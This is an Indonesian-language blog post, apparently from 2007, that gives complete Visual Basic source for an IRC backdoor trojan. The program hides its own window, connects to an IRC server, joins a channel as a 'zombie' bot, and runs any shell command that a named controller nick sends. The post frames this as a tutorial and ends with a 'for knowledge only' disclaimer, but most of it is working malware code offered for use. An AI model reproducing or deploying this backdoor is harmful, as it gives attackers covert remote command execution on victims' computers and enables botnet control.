Information Technology: vb mirc backdooring

Wednesday, November 14, 2007 at 3:49 AM |

Bagi seorang programmer vb bukanlah hal yang asing di telinga kita, kita juga mengetahui kalao vb juga bisa di gunakan untuk berbagai keperluan windows ulitilies
termasuk untuk hal yang defduktif sekalipun.virus, trojan, atau program perusak lainya :-)
ok lantas bagai mana untuk penggunaan mirc trojan ?, tancap ............', '''==============================================================================================
'' Programmer: dr.pluto
'' date : 27-08-2006
'' project : vb mirc backdooring
'' note : thank for all #skife crew
'' Pengecut Dilarang Masuk
''

Dim server As String
Dim port As Integer

Private Sub Form_Load()
With Me
.Height = 1
.Width = 1
.Hide
End With

sambung_mirc
End Sub

Function sambung_mirc() As Boolean
On Error GoTo hell
server = "192.168.14.1"
port = 6667
Wsck.Connect server, port
sambung_mirc = True
Exit Function
hell:
Unload Me
End Function

Private Sub Timer1_Timer()
Wsck.SendData "JOIN #skife" & vbCrLf
Timer1.Enabled = False
End Sub

Private Sub tmr_server_Timer()
On Error Resume Next
Wsck.Close
Wsck.Connect server, port
tmr_server.Enabled = False
End Sub

Private Sub Wsck_Connect()
Wsck.SendData "USER zombie@virus.com " & Wsck.LocalHostName & " " & _
Wsck.RemoteHost & " :master" & vbCrLf
Wsck.SendData "NICK " & "Ce_" & Wsck.LocalHostName & " " & ip & vbCrLf

Timer1.Enabled = True
End Sub

Private Sub Wsck_DataArrival(ByVal bytesTotal As Long)
Dim str As String
Wsck.GetData str

txtInp = str
txtMonitor = txtMonitor & txtInp

If Left(txtInp, 4) = "PING" Then
Wsck.SendData "PONG" & Right(txtInp, Len(txtInp) - 4) & vbCrLf
End If

filter_msg txtInp

End Sub

Function filter_msg(ByVal strData As String) As String
On Error Resume Next
Dim Posisi, a As Integer
Dim Pesan, exec, zxfg As String
Dim i() As String

'' admin nick (hanya bisa di remote oleh nick tersebut)
If UCase(Mid(strData, 1, 10)) = UCase(":dr[pluto]") Then

i = Split(strData, ":")
Pesan = Replace(i(2), vbCrLf, "")
Posisi = InStr(Pesan, " ")
exec = Mid(Pesan, Posisi + 1)
Pesan = UCase(Mid(Pesan, 1, Posisi - 1))

''command execution
If UCase(Pesan) = "`EXEC" Then
Shell exec, vbNormalFocus
Wsck.SendData "PRIVMSG #skife : execution " & exec & " success!" & vbCrLf
End If
End If
End Function

Private Sub Wsck_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
Wsck.Close
sambung_mirc
End Sub

''==============================================================================================

semoga kamu ga terlalu bingung dengan source code tersebut, dan saya harapkan minimal kamu dapat menguasai satu bahasa pemrograman. tp kalo kamu juga bamasli (bawaan malas sejak lahir) seperti saya, ya juga begini-begini aja jadiya, (maksud loe ??????) lol..........

tutorial di atas anyalah bersifat untuk pengetahuan saja, dan penyalagunaan dari code tersebut kami salaku penulis tidak bertanggung jawab.